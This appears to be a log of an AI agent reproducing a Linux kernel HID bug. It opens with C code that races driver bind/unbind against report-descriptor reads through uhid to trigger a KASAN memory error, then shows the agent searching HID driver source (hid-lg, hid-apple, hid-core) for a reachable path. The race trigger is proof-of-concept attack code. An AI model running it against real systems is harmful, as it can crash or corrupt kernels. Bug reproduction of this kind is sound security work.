void* bind_thread(void* arg) {
int bind_fd = ((int*)arg)[0];
int unbind_fd = ((int*)arg)[1];
int len = strlen(dev_name);
while (!stop) {
write(unbind_fd, dev_name, len);
write(bind_fd, dev_name, len);
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
int bind_fd = -1, unbind_fd = -1;
for (int i = 0; i < 4; i++) {
create_uhid(i);
dev_name[0] = '\0';
for (int j = 0; j < 20; j++) {
find_dev_name(i);
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] != '\0') {
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/drivers/%s/bind", target_devices[i].driver);
bind_fd = open(path, O_WRONLY);
snprintf(path, sizeof(path), "/sys/bus/hid/drivers/%s/unbind", target_devices[i].driver);
unbind_fd = open(path, O_WRONLY);
if (bind_fd >= 0 && unbind_fd >= 0) {
target_idx = i;
break;
}
if (bind_fd >= 0) close(bind_fd);
if (unbind_fd >= 0) close(unbind_fd);
}
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
}
if (target_idx == -1) {
fprintf(stderr, "No suitable device/driver found.\n");
return 1;
}
printf("Using driver %s with device %s\n", target_devices[target_idx].driver, dev_name);
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
perror("open report_descriptor");
return 1;
}
int fds[2] = {bind_fd, unbind_fd};
pthread_t t_read[4];
pthread_t t_bind;
for (int i = 0; i < 4; i++) {
pthread_create(&t_read[i], NULL, read_thread, &fd);
}
pthread_create(&t_bind, NULL, bind_thread, fds);
sleep(10); // Allow time for the race to trigger KASAN
stop = 1;
for (int i = 0; i < 4; i++) {
pthread_join(t_read[i], NULL);
}
pthread_join(t_bind, NULL);
close(fd);
close(bind_fd);
close(unbind_fd);
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
printf("[+] Done\n");
return 0;
}
```
|
| 139/5 |
2026/05/19 10:15 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 9168
output: 41
thoughts: 154
Thoughts: **Debugging the Logitech Driver Probe Failure**
Okay, so the KASAN bug didn't trigger, which is disappointing, but the feedback points to the Logitech driver probe failing with `-EINVAL`, which is `error -22`. Right, time to dig into *that*. The report highlights the call stack: `hid_open_report`, then `hid_parse`, which seems to be an inline function, and finally `lg_probe`, which is *my* target. I need to understand what's happening within `lg_probe` in `drivers/hid/hid-lg.c` since that's where the failure is occurring. Let's start there.
|
| 140/5 |
2026/05/19 10:15 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-lg.c IncludeLines:true Name:lg_probe]
Results: map[SourceCode: 750: static int lg_probe(struct hid_device *hdev, const struct hid_device_id *id)
751: {
752: struct usb_interface *iface;
753: __u8 iface_num;
754: unsigned int connect_mask = HID_CONNECT_DEFAULT;
755: struct lg_drv_data *drv_data;
756: int ret;
757:
758: if (!hid_is_usb(hdev))
759: return -EINVAL;
760:
761: iface = to_usb_interface(hdev->dev.parent);
762: iface_num = iface->cur_altsetting->desc.bInterfaceNumber;
763:
764: /* G29 only work with the 1st interface */
765: if ((hdev->product == USB_DEVICE_ID_LOGITECH_G29_WHEEL) &&
766: (iface_num != 0)) {
767: dbg_hid("%s: ignoring ifnum %d\n", __func__, iface_num);
768: return -ENODEV;
769: }
770:
771: drv_data = kzalloc_obj(struct lg_drv_data);
772: if (!drv_data) {
773: hid_err(hdev, "Insufficient memory, cannot allocate driver data\n");
774: return -ENOMEM;
775: }
776: drv_data->quirks = id->driver_data;
777:
778: hid_set_drvdata(hdev, (void *)drv_data);
779:
780: if (drv_data->quirks & LG_NOGET)
781: hdev->quirks |= HID_QUIRK_NOGET;
782:
783: ret = hid_parse(hdev);
784: if (ret) {
785: hid_err(hdev, "parse failed\n");
786: goto err_free;
787: }
788:
789: if (drv_data->quirks & (LG_FF | LG_FF2 | LG_FF3 | LG_FF4))
790: connect_mask &= ~HID_CONNECT_FF;
791:
792: ret = hid_hw_start(hdev, connect_mask);
793: if (ret) {
794: hid_err(hdev, "hw start failed\n");
795: goto err_free;
796: }
797:
798: /* Setup wireless link with Logitech Wii wheel */
799: if (hdev->product == USB_DEVICE_ID_LOGITECH_WII_WHEEL) {
800: static const unsigned char cbuf[] = {
801: 0x00, 0xAF, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
802: };
803: u8 *buf = kmemdup(cbuf, sizeof(cbuf), GFP_KERNEL);
804:
805: if (!buf) {
806: ret = -ENOMEM;
807: goto err_stop;
808: }
809:
810: ret = hid_hw_raw_request(hdev, buf[0], buf, sizeof(cbuf),
811: HID_FEATURE_REPORT, HID_REQ_SET_REPORT);
812: if (ret >= 0) {
813: /* insert a little delay of 10 jiffies ~ 40ms */
814: wait_queue_head_t wait;
815: init_waitqueue_head (&wait);
816: wait_event_interruptible_timeout(wait, 0,
817: msecs_to_jiffies(40));
818:
819: /* Select random Address */
820: buf[1] = 0xB2;
821: get_random_bytes(&buf[2], 2);
822:
823: ret = hid_hw_raw_request(hdev, buf[0], buf, sizeof(cbuf),
824: HID_FEATURE_REPORT, HID_REQ_SET_REPORT);
825: }
826: kfree(buf);
827: }
828:
829: if (drv_data->quirks & LG_FF)
830: ret = lgff_init(hdev);
831: else if (drv_data->quirks & LG_FF2)
832: ret = lg2ff_init(hdev);
833: else if (drv_data->quirks & LG_FF3)
834: ret = lg3ff_init(hdev);
835: else if (drv_data->quirks & LG_FF4)
836: ret = lg4ff_init(hdev);
837:
838: if (ret)
839: goto err_stop;
840:
841: return 0;
842:
843: err_stop:
844: hid_hw_stop(hdev);
845: err_free:
846: kfree(drv_data);
847: return ret;
848: }
SourceFile:drivers/hid/hid-lg.c]
|
| 141/5 |
2026/05/19 10:15 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 11108
output: 43
thoughts: 87
Thoughts: Okay, here's my interpretation of this code snippet, expressed as my internal thought process:
**Diving into USB Device Validation**
Alright, let's see. The code starts with a simple check: `if (!hid_is_usb(hdev)) return -EINVAL;`. Hmm, so if the device isn't USB, we bail out with an error. But this suggests that `uhid` is trying to deal with a device *that isn't USB*! That seems counterintuitive. I mean, `uhid` usually works by creating virtual USB devices, right?
Then there's this line: `ev.u.create2.bus = 3; // BUS_USB`. Okay, so it *is* explicitly setting the bus type to `BUS_USB`. This confirms my initial expectation; we *are* dealing with a USB context here.
The question now is, what's `hid_is_usb` doing? Is it as simple as checking `hdev->bus == BUS_USB`? It's probably the most straightforward way to implement this function. But I should confirm to be sure. Time to dig into the definition of `hid_is_usb`. I need to understand its behavior fully to understand this check!
|
| 142/5 |
2026/05/19 10:15 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-lg.c IncludeLines:true Name:hid_is_usb]
Results: map[SourceCode:1357: bool hid_is_usb(const struct hid_device *hdev)
1358: {
1359: return hdev->ll_driver == &usb_hid_driver;
1360: }
SourceFile:drivers/hid/usbhid/hid-core.c]
|
| 143/5 |
2026/05/19 10:15 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 11603
output: 22
thoughts: 246
Thoughts: **Debugging the HID Probe Issue**
Okay, so `hid_is_usb` is the key function here, it seems. It checks if the lower-level driver for the HID device (`hdev->ll_driver`) is the `usb_hid_driver`. The problem is that `uhid` uses the `uhid_hid_driver`, right? That means `hid-lg` (the specific HID driver they're having trouble with) *should* always fail to probe if it's created via `uhid`. That part makes sense.
But wait a minute, the bug report... the stack trace: `usbhid_probe`, `usb_probe_interface`. This is important! The original issue wasn't triggered through `uhid` at all, according to the stack trace. It was using either a real USB device or an emulated one. The reporter mentions Syzkaller using `dummy_hcd` or `raw-gadget` for the emulation. That gives me a direction - if I want to reproduce this, I need to focus on a USB device emulation.
Or... is there another HID driver with a `report_fixup` routine that *doesn't* check if the device is a USB device? That could provide an alternate path to reproduce the bug. I should probably look for `report_fixup` functions in the `drivers/hid/` directory and see what I find. That seems like the next logical step.
|
| 144/5 |
2026/05/19 10:15 |
tool |
grepper |
0m
Args: map[Expression:\.report_fixup\s*=]
Results: map[Output:drivers/hid/hid-apple.c=1232=static struct hid_driver apple_driver = {
--
drivers/hid/hid-apple.c-1234- .id_table = apple_devices,
drivers/hid/hid-apple.c:1235: .report_fixup = apple_report_fixup,
drivers/hid/hid-apple.c-1236- .probe = apple_probe,
--
drivers/hid/hid-asus.c=1541=static struct hid_driver asus_driver = {
--
drivers/hid/hid-asus.c-1543- .id_table = asus_devices,
drivers/hid/hid-asus.c:1544: .report_fixup = asus_report_fixup,
drivers/hid/hid-asus.c-1545- .probe = asus_probe,
--
drivers/hid/hid-aureal.c=37=static struct hid_driver aureal_driver = {
--
drivers/hid/hid-aureal.c-39- .id_table = aureal_devices,
drivers/hid/hid-aureal.c:40: .report_fixup = aureal_report_fixup,
drivers/hid/hid-aureal.c-41-};
--
drivers/hid/hid-bigbenff.c=484=static struct hid_driver bigben_driver = {
--
drivers/hid/hid-bigbenff.c-487- .probe = bigben_probe,
drivers/hid/hid-bigbenff.c:488: .report_fixup = bigben_report_fixup,
drivers/hid/hid-bigbenff.c-489- .remove = bigben_remove,
--
drivers/hid/hid-cherry.c=63=static struct hid_driver ch_driver = {
--
drivers/hid/hid-cherry.c-65- .id_table = ch_devices,
drivers/hid/hid-cherry.c:66: .report_fixup = ch_report_fixup,
drivers/hid/hid-cherry.c-67- .input_mapping = ch_input_mapping,
--
drivers/hid/hid-chicony.c=145=static struct hid_driver ch_driver = {
--
drivers/hid/hid-chicony.c-147- .id_table = ch_devices,
drivers/hid/hid-chicony.c:148: .report_fixup = ch_switch12_report_fixup,
drivers/hid/hid-chicony.c-149- .input_mapping = ch_input_mapping,
--
drivers/hid/hid-cmedia.c=219=static struct hid_driver cmhid_hs100b_driver = {
--
drivers/hid/hid-cmedia.c-221- .id_table = cmhid_hs100b_devices,
drivers/hid/hid-cmedia.c:222: .report_fixup = cmhid_hs100b_report_fixup,
drivers/hid/hid-cmedia.c-223-};
--
drivers/hid/hid-corsair.c=739=static struct hid_driver corsair_driver = {
--
drivers/hid/hid-corsair.c-745- .input_mapping = corsair_input_mapping,
drivers/hid/hid-corsair.c:746: .report_fixup = corsair_mouse_report_fixup,
drivers/hid/hid-corsair.c-747-};
--
drivers/hid/hid-cougar.c=332=static struct hid_driver cougar_driver = {
--
drivers/hid/hid-cougar.c-334- .id_table = cougar_id_table,
drivers/hid/hid-cougar.c:335: .report_fixup = cougar_report_fixup,
drivers/hid/hid-cougar.c-336- .probe = cougar_probe,
--
drivers/hid/hid-cypress.c=169=static struct hid_driver cp_driver = {
--
drivers/hid/hid-cypress.c-171- .id_table = cp_devices,
drivers/hid/hid-cypress.c:172: .report_fixup = cp_report_fixup,
drivers/hid/hid-cypress.c-173- .input_mapped = cp_input_mapped,
--
drivers/hid/hid-dr.c=310=static struct hid_driver dr_driver = {
--
drivers/hid/hid-dr.c-312- .id_table = dr_devices,
drivers/hid/hid-dr.c:313: .report_fixup = dr_report_fixup,
drivers/hid/hid-dr.c-314- .probe = dr_probe,
--
drivers/hid/hid-elecom.c=165=static struct hid_driver elecom_driver = {
--
drivers/hid/hid-elecom.c-167- .id_table = elecom_devices,
drivers/hid/hid-elecom.c:168: .report_fixup = elecom_report_fixup
drivers/hid/hid-elecom.c-169-};
--
drivers/hid/hid-evision.c=66=static struct hid_driver evision_driver = {
--
drivers/hid/hid-evision.c-69- .input_mapping = evision_input_mapping,
drivers/hid/hid-evision.c:70: .report_fixup = evision_report_fixup,
drivers/hid/hid-evision.c-71-};
--
drivers/hid/hid-gembird.c=104=static struct hid_driver gembird_driver = {
--
drivers/hid/hid-gembird.c-106- .id_table = gembird_devices,
drivers/hid/hid-gembird.c:107: .report_fixup = gembird_report_fixup,
drivers/hid/hid-gembird.c-108-};
--
drivers/hid/hid-glorious.c=89=static struct hid_driver glorious_driver = {
--
drivers/hid/hid-glorious.c-92- .probe = glorious_probe,
drivers/hid/hid-glorious.c:93: .report_fixup = glorious_report_fixup
drivers/hid/hid-glorious.c-94-};
--
drivers/hid/hid-holtek-kbd.c=175=static struct hid_driver holtek_kbd_driver = {
--
drivers/hid/hid-holtek-kbd.c-177- .id_table = holtek_kbd_devices,
drivers/hid/hid-holtek-kbd.c:178: .report_fixup = holtek_kbd_report_fixup,
drivers/hid/hid-holtek-kbd.c-179- .probe = holtek_kbd_probe
--
drivers/hid/hid-holtek-mouse.c=105=static struct hid_driver holtek_mouse_driver = {
--
drivers/hid/hid-holtek-mouse.c-107- .id_table = holtek_mouse_devices,
drivers/hid/hid-holtek-mouse.c:108: .report_fixup = holtek_mouse_report_fixup,
drivers/hid/hid-holtek-mouse.c-109- .probe = holtek_mouse_probe,
--
drivers/hid/hid-huawei.c=73=static struct hid_driver huawei_driver = {
--
drivers/hid/hid-huawei.c-75- .id_table = huawei_devices,
drivers/hid/hid-huawei.c:76: .report_fixup = huawei_report_fixup,
drivers/hid/hid-huawei.c-77-};
--
drivers/hid/hid-ite.c=133=static struct hid_driver ite_driver = {
--
drivers/hid/hid-ite.c-136- .probe = ite_probe,
drivers/hid/hid-ite.c:137: .report_fixup = ite_report_fixup,
drivers/hid/hid-ite.c-138- .input_mapping = ite_input_mapping,
--
drivers/hid/hid-keytouch.c=42=static struct hid_driver keytouch_driver = {
--
drivers/hid/hid-keytouch.c-44- .id_table = keytouch_devices,
drivers/hid/hid-keytouch.c:45: .report_fixup = keytouch_report_fixup,
drivers/hid/hid-keytouch.c-46-};
--
drivers/hid/hid-kye.c=666=static struct hid_driver kye_driver = {
--
drivers/hid/hid-kye.c-669- .probe = kye_probe,
drivers/hid/hid-kye.c:670: .report_fixup = kye_report_fixup,
drivers/hid/hid-kye.c-671-};
--
drivers/hid/hid-lenovo.c=1561=static struct hid_driver lenovo_driver = {
--
drivers/hid/hid-lenovo.c-1569- .event = lenovo_event,
drivers/hid/hid-lenovo.c:1570: .report_fixup = lenovo_report_fixup,
drivers/hid/hid-lenovo.c-1571- .reset_resume = pm_ptr(lenovo_reset_resume),
--
drivers/hid/hid-lg.c=926=static struct hid_driver lg_driver = {
--
drivers/hid/hid-lg.c-928- .id_table = lg_devices,
drivers/hid/hid-lg.c:929: .report_fixup = lg_report_fixup,
drivers/hid/hid-lg.c-930- .input_mapping = lg_input_mapping,
--
drivers/hid/hid-logitech-hidpp.c=4736=static struct hid_driver hidpp_driver = {
--
drivers/hid/hid-logitech-hidpp.c-4738- .id_table = hidpp_devices,
drivers/hid/hid-logitech-hidpp.c:4739: .report_fixup = hidpp_report_fixup,
drivers/hid/hid-logitech-hidpp.c-4740- .probe = hidpp_probe,
--
drivers/hid/hid-macally.c=39=static struct hid_driver macally_driver = {
--
drivers/hid/hid-macally.c-41- .id_table = macally_id_table,
drivers/hid/hid-macally.c:42: .report_fixup = macally_report_fixup,
drivers/hid/hid-macally.c-43-};
--
drivers/hid/hid-magicmouse.c=1051=static struct hid_driver magicmouse_driver = {
--
drivers/hid/hid-magicmouse.c-1055- .remove = magicmouse_remove,
drivers/hid/hid-magicmouse.c:1056: .report_fixup = magicmouse_report_fixup,
drivers/hid/hid-magicmouse.c-1057- .raw_event = magicmouse_raw_event,
--
drivers/hid/hid-maltron.c=158=static struct hid_driver maltron_driver = {
--
drivers/hid/hid-maltron.c-160- .id_table = maltron_devices,
drivers/hid/hid-maltron.c:161: .report_fixup = maltron_report_fixup
drivers/hid/hid-maltron.c-162-};
--
drivers/hid/hid-microsoft.c=466=static struct hid_driver ms_driver = {
--
drivers/hid/hid-microsoft.c-468- .id_table = ms_devices,
drivers/hid/hid-microsoft.c:469: .report_fixup = ms_report_fixup,
drivers/hid/hid-microsoft.c-470- .input_mapping = ms_input_mapping,
--
drivers/hid/hid-monterey.c=57=static struct hid_driver mr_driver = {
--
drivers/hid/hid-monterey.c-59- .id_table = mr_devices,
drivers/hid/hid-monterey.c:60: .report_fixup = mr_report_fixup,
drivers/hid/hid-monterey.c-61- .input_mapping = mr_input_mapping,
--
drivers/hid/hid-multitouch.c=2592=static struct hid_driver mt_driver = {
--
drivers/hid/hid-multitouch.c-2602- .event = mt_event,
drivers/hid/hid-multitouch.c:2603: .report_fixup = mt_report_fixup,
drivers/hid/hid-multitouch.c-2604- .report = mt_report,
--
drivers/hid/hid-nti.c=48=static struct hid_driver nti_driver = {
--
drivers/hid/hid-nti.c-50- .id_table = nti_devices,
drivers/hid/hid-nti.c:51: .report_fixup = nti_usbsun_report_fixup
drivers/hid/hid-nti.c-52-};
--
drivers/hid/hid-ortek.c=47=static struct hid_driver ortek_driver = {
--
drivers/hid/hid-ortek.c-49- .id_table = ortek_devices,
drivers/hid/hid-ortek.c:50: .report_fixup = ortek_report_fixup
drivers/hid/hid-ortek.c-51-};
--
drivers/hid/hid-petalynx.c=96=static struct hid_driver pl_driver = {
--
drivers/hid/hid-petalynx.c-98- .id_table = pl_devices,
drivers/hid/hid-petalynx.c:99: .report_fixup = pl_report_fixup,
drivers/hid/hid-petalynx.c-100- .input_mapping = pl_input_mapping,
--
drivers/hid/hid-prodikeys.c=858=static struct hid_driver pk_driver = {
--
drivers/hid/hid-prodikeys.c-860- .id_table = pk_devices,
drivers/hid/hid-prodikeys.c:861: .report_fixup = pk_report_fixup,
drivers/hid/hid-prodikeys.c-862- .input_mapping = pk_input_mapping,
--
drivers/hid/hid-pxrc.c=101=static struct hid_driver pxrc_driver = {
--
drivers/hid/hid-pxrc.c-103- .id_table = pxrc_devices,
drivers/hid/hid-pxrc.c:104: .report_fixup = pxrc_report_fixup,
drivers/hid/hid-pxrc.c-105- .probe = pxrc_probe,
--
drivers/hid/hid-redragon.c=54=static struct hid_driver redragon_driver = {
--
drivers/hid/hid-redragon.c-56- .id_table = redragon_devices,
drivers/hid/hid-redragon.c:57: .report_fixup = redragon_report_fixup
drivers/hid/hid-redragon.c-58-};
--
drivers/hid/hid-saitek.c=197=static struct hid_driver saitek_driver = {
--
drivers/hid/hid-saitek.c-200- .probe = saitek_probe,
drivers/hid/hid-saitek.c:201: .report_fixup = saitek_report_fixup,
drivers/hid/hid-saitek.c-202- .raw_event = saitek_raw_event,
--
drivers/hid/hid-samsung.c=555=static struct hid_driver samsung_driver = {
--
drivers/hid/hid-samsung.c-557- .id_table = samsung_devices,
drivers/hid/hid-samsung.c:558: .report_fixup = samsung_report_fixup,
drivers/hid/hid-samsung.c-559- .input_mapping = samsung_input_mapping,
--
drivers/hid/hid-semitek.c=33=static struct hid_driver semitek_driver = {
--
drivers/hid/hid-semitek.c-35- .id_table = semitek_devices,
drivers/hid/hid-semitek.c:36: .report_fixup = semitek_report_fixup,
drivers/hid/hid-semitek.c-37-};
--
drivers/hid/hid-sensor-hub.c=766=static struct hid_driver sensor_hub_driver = {
--
drivers/hid/hid-sensor-hub.c-771- .raw_event = sensor_hub_raw_event,
drivers/hid/hid-sensor-hub.c:772: .report_fixup = sensor_hub_report_fixup,
drivers/hid/hid-sensor-hub.c-773- .suspend = pm_ptr(sensor_hub_suspend),
--
drivers/hid/hid-sigmamicro.c=120=static struct hid_driver sm_driver = {
--
drivers/hid/hid-sigmamicro.c-122- .id_table = sm_devices,
drivers/hid/hid-sigmamicro.c:123: .report_fixup = sm_report_fixup,
drivers/hid/hid-sigmamicro.c-124-};
--
drivers/hid/hid-sony.c=2608=static struct hid_driver sony_driver = {
--
drivers/hid/hid-sony.c-2614- .remove = sony_remove,
drivers/hid/hid-sony.c:2615: .report_fixup = sony_report_fixup,
drivers/hid/hid-sony.c-2616- .raw_event = sony_raw_event,
--
drivers/hid/hid-steelseries.c=739=static struct hid_driver steelseries_driver = {
--
drivers/hid/hid-steelseries.c-743- .remove = steelseries_remove,
drivers/hid/hid-steelseries.c:744: .report_fixup = steelseries_srws1_report_fixup,
drivers/hid/hid-steelseries.c-745- .raw_event = steelseries_headset_raw_event,
--
drivers/hid/hid-sunplus.c=57=static struct hid_driver sp_driver = {
--
drivers/hid/hid-sunplus.c-59- .id_table = sp_devices,
drivers/hid/hid-sunplus.c:60: .report_fixup = sp_report_fixup,
drivers/hid/hid-sunplus.c-61- .input_mapping = sp_input_mapping,
--
drivers/hid/hid-topre.c=52=static struct hid_driver topre_driver = {
--
drivers/hid/hid-topre.c-54- .id_table = topre_id_table,
drivers/hid/hid-topre.c:55: .report_fixup = topre_report_fixup,
drivers/hid/hid-topre.c-56-};
--
drivers/hid/hid-uclogic-core.c=630=static struct hid_driver uclogic_driver = {
--
drivers/hid/hid-uclogic-core.c-634- .remove = uclogic_remove,
drivers/hid/hid-uclogic-core.c:635: .report_fixup = uclogic_report_fixup,
drivers/hid/hid-uclogic-core.c-636- .raw_event = uclogic_raw_event,
--
drivers/hid/hid-viewsonic.c=98=static struct hid_driver viewsonic_driver = {
--
drivers/hid/hid-viewsonic.c-100- .id_table = viewsonic_devices,
drivers/hid/hid-viewsonic.c:101: .report_fixup = viewsonic_report_fixup,
drivers/hid/hid-viewsonic.c-102-};
--
drivers/hid/hid-vrc2.c=81=static struct hid_driver vrc2_driver = {
--
drivers/hid/hid-vrc2.c-83- .id_table = vrc2_devices,
drivers/hid/hid-vrc2.c:84: .report_fixup = vrc2_report_fixup,
drivers/hid/hid-vrc2.c-85- .probe = vrc2_probe,
--
drivers/hid/hid-waltop.c=737=static struct hid_driver waltop_driver = {
--
drivers/hid/hid-waltop.c-739- .id_table = waltop_devices,
drivers/hid/hid-waltop.c:740: .report_fixup = waltop_report_fixup,
drivers/hid/hid-waltop.c-741- .raw_event = waltop_raw_event,
--
drivers/hid/hid-xiaomi.c=85=static struct hid_driver xiaomi_driver = {
--
drivers/hid/hid-xiaomi.c-87- .id_table = xiaomi_devices,
drivers/hid/hid-xiaomi.c:88: .report_fixup = xiaomi_report_fixup,
drivers/hid/hid-xiaomi.c-89-};
--
drivers/hid/hid-zydacron.c=198=static struct hid_driver zc_driver = {
--
drivers/hid/hid-zydacron.c-200- .id_table = zc_devices,
drivers/hid/hid-zydacron.c:201: .report_fixup = zc_report_fixup,
drivers/hid/hid-zydacron.c-202- .input_mapping = zc_input_mapping,
]
|
| 145/5 |
2026/05/19 10:15 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 17965
output: 41
thoughts: 26
Thoughts: Here's a summary of my thought process:
**Diving into the Apple HID Driver**
Okay, so we're troubleshooting this Apple-related HID issue. My first instinct is to dig directly into the heart of the matter – the `hid-apple.c` driver. I need to understand how the system is probing for and initializing these Apple devices. Specifically, I'm thinking about the `apple_probe` function. I want to see exactly how it identifies an Apple device and determines whether it's supported. Next, I need to analyze how we're dealing with device-specific quirks and workarounds. Therefore, I need to inspect `apple_report_fixup`. Is there a bug there? Are we handling the reporting structure correctly? Let's get to work.
|
| 146/5 |
2026/05/19 10:15 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-apple.c IncludeLines:true Name:apple_probe]
Results: map[SourceCode: 940: static int apple_probe(struct hid_device *hdev,
941: const struct hid_device_id *id)
942: {
943: unsigned long quirks = id->driver_data;
944: struct apple_sc *asc;
945: int ret;
946:
947: asc = devm_kzalloc(&hdev->dev, sizeof(*asc), GFP_KERNEL);
948: if (asc == NULL) {
949: hid_err(hdev, "can't alloc apple descriptor\n");
950: return -ENOMEM;
951: }
952:
953: asc->hdev = hdev;
954: asc->quirks = quirks;
955:
956: hid_set_drvdata(hdev, asc);
957:
958: ret = hid_parse(hdev);
959: if (ret) {
960: hid_err(hdev, "parse failed\n");
961: return ret;
962: }
963:
964: ret = hid_hw_start(hdev, HID_CONNECT_DEFAULT);
965: if (ret) {
966: hid_err(hdev, "hw start failed\n");
967: return ret;
968: }
969:
970: if (quirks & APPLE_RDESC_BATTERY) {
971: timer_setup(&asc->battery_timer, apple_battery_timer_tick, 0);
972: mod_timer(&asc->battery_timer,
973: jiffies + secs_to_jiffies(APPLE_BATTERY_TIMEOUT_SEC));
974: apple_fetch_battery(hdev);
975: }
976:
977: if (quirks & APPLE_BACKLIGHT_CTL)
978: apple_backlight_init(hdev);
979:
980: if (quirks & APPLE_MAGIC_BACKLIGHT) {
981: ret = apple_magic_backlight_init(hdev);
982: if (ret)
983: goto out_err;
984: }
985:
986: return 0;
987:
988: out_err:
989: if (quirks & APPLE_RDESC_BATTERY)
990: timer_delete_sync(&asc->battery_timer);
991:
992: hid_hw_stop(hdev);
993: return ret;
994: }
SourceFile:drivers/hid/hid-apple.c]
|
| 147/5 |
2026/05/19 10:15 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 18991
output: 44
thoughts: 28
Thoughts: Here's my thought process, as if I were analyzing this code:
**Analyzing Apple USB HID Driver Code**
Okay, so I'm looking at this `apple_probe` function. I see it doesn't explicitly check `hid_is_usb`. That's a potential oversight. It's crucial for the driver to correctly differentiate between different HID transport layers, especially if it's handling both USB and, say, Bluetooth devices. This could lead to unexpected behavior or even crashes if it assumes a USB device when it's not.
My immediate next step is to examine the `apple_report_fixup` function. It’s likely in this function that the driver attempts to parse the report descriptor or otherwise deal with the specific characteristics of Apple input devices, and a USB specific check in `apple_probe` might not be strictly necessary if these details are handled later, but I'm still concerned that skipping the USB check might lead to the incorrect handling of non-USB Apple devices. I need to see how `apple_report_fixup` compensates, or if it doesn't at all. I'll be looking for clues on how the driver handles potentially non-USB data and whether any assumptions are made that could break on other transport layers. I need to understand the control flow, so I'm going to look at the other functions that call `apple_report_fixup`, to try to assess what data might be available to it, and how it is used.
|
| 148/5 |
2026/05/19 10:15 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-apple.c IncludeLines:true Name:apple_report_fixup]
Results: map[SourceCode: 659: /*
660: * MacBook JIS keyboard has wrong logical maximum
661: * Magic Keyboard JIS has wrong logical maximum
662: */
663: static const __u8 *apple_report_fixup(struct hid_device *hdev, __u8 *rdesc,
664: unsigned int *rsize)
665: {
666: struct apple_sc *asc = hid_get_drvdata(hdev);
667:
668: if(*rsize >=71 && rdesc[70] == 0x65 && rdesc[64] == 0x65) {
669: hid_info(hdev,
670: "fixing up Magic Keyboard JIS report descriptor\n");
671: rdesc[64] = rdesc[70] = 0xe7;
672: }
673:
674: if ((asc->quirks & APPLE_RDESC_JIS) && *rsize >= 60 &&
675: rdesc[53] == 0x65 && rdesc[59] == 0x65) {
676: hid_info(hdev,
677: "fixing up MacBook JIS keyboard report descriptor\n");
678: rdesc[53] = rdesc[59] = 0xe7;
679: }
680:
681: /*
682: * Change the usage from:
683: * 0x06, 0x00, 0xff, // Usage Page (Vendor Defined Page 1) 0
684: * 0x09, 0x0b, // Usage (Vendor Usage 0x0b) 3
685: * To:
686: * 0x05, 0x01, // Usage Page (Generic Desktop) 0
687: * 0x09, 0x06, // Usage (Keyboard) 2
688: */
689: if ((asc->quirks & APPLE_RDESC_BATTERY) && *rsize == 83 &&
690: rdesc[46] == 0x84 && rdesc[58] == 0x85) {
691: hid_info(hdev,
692: "fixing up Magic Keyboard battery report descriptor\n");
693: *rsize = *rsize - 1;
694: rdesc = rdesc + 1;
695:
696: rdesc[0] = 0x05;
697: rdesc[1] = 0x01;
698: rdesc[2] = 0x09;
699: rdesc[3] = 0x06;
700: }
701:
702: return rdesc;
703: }
SourceFile:drivers/hid/hid-apple.c]
|
| 149/5 |
2026/05/19 10:15 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 20209
output: 43
thoughts: 85
Thoughts: Okay, let me think this through.
**Analyzing Descriptor Handling in `apple_report_fixup` and HID Device Closure**
Right, so I was looking at how these HID reports are managed. I need to make sure I understand the memory lifecycle. Hang on... `apple_report_fixup`... that function doesn't allocate a *new* descriptor, does it? It just fiddles with the existing one, or perhaps returns a pointer that's been adjusted. That's good to keep in mind, less allocation overhead is always a win. I need to remember that it's modifying the existing descriptor or using an offset.
Now, that brings me to `hid_close_report`. That function, as I recall, it *only* frees `hdev->rdesc` if it was allocated dynamically. That's the crucial point. So, is `hid_close_report` actually freeing the descriptor or not? I *think* I know the answer, but it's best to verify.
Okay, best to double-check my assumptions here. Let's get the source code for `hid_close_report` and `hid_open_report` open and make sure I'm not missing anything. Going to examine the calls, where the dynamic allocation is done and if the memory is freed. Gotta make sure I'm not creating any memory leaks, or double freeing anything! Let's get this right.
|
| 150/5 |
2026/05/19 10:16 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-core.c IncludeLines:true Name:hid_open_report]
Results: map[SourceCode:1332: /**
1333: * hid_open_report - open a driver-specific device report
1334: *
1335: * @device: hid device
1336: *
1337: * Parse a report description into a hid_device structure. Reports are
1338: * enumerated, fields are attached to these reports.
1339: * 0 returned on success, otherwise nonzero error value.
1340: *
1341: * This function (or the equivalent hid_parse() macro) should only be
1342: * called from probe() in drivers, before starting the device.
1343: */
1344: int hid_open_report(struct hid_device *device)
1345: {
1346: unsigned int size;
1347: const u8 *start;
1348: int error;
1349:
1350: if (WARN_ON(device->status & HID_STAT_PARSED))
1351: return -EBUSY;
1352:
1353: start = device->bpf_rdesc;
1354: if (WARN_ON(!start))
1355: return -ENODEV;
1356: size = device->bpf_rsize;
1357:
1358: if (device->driver->report_fixup) {
1359: /*
1360: * device->driver->report_fixup() needs to work
1361: * on a copy of our report descriptor so it can
1362: * change it.
1363: */
1364: u8 *buf __free(kfree) = kmemdup(start, size, GFP_KERNEL);
1365:
1366: if (!buf)
1367: return -ENOMEM;
1368:
1369: start = device->driver->report_fixup(device, buf, &size);
1370:
1371: /*
1372: * The second kmemdup is required in case report_fixup() returns
1373: * a static read-only memory, but we have no idea if that memory
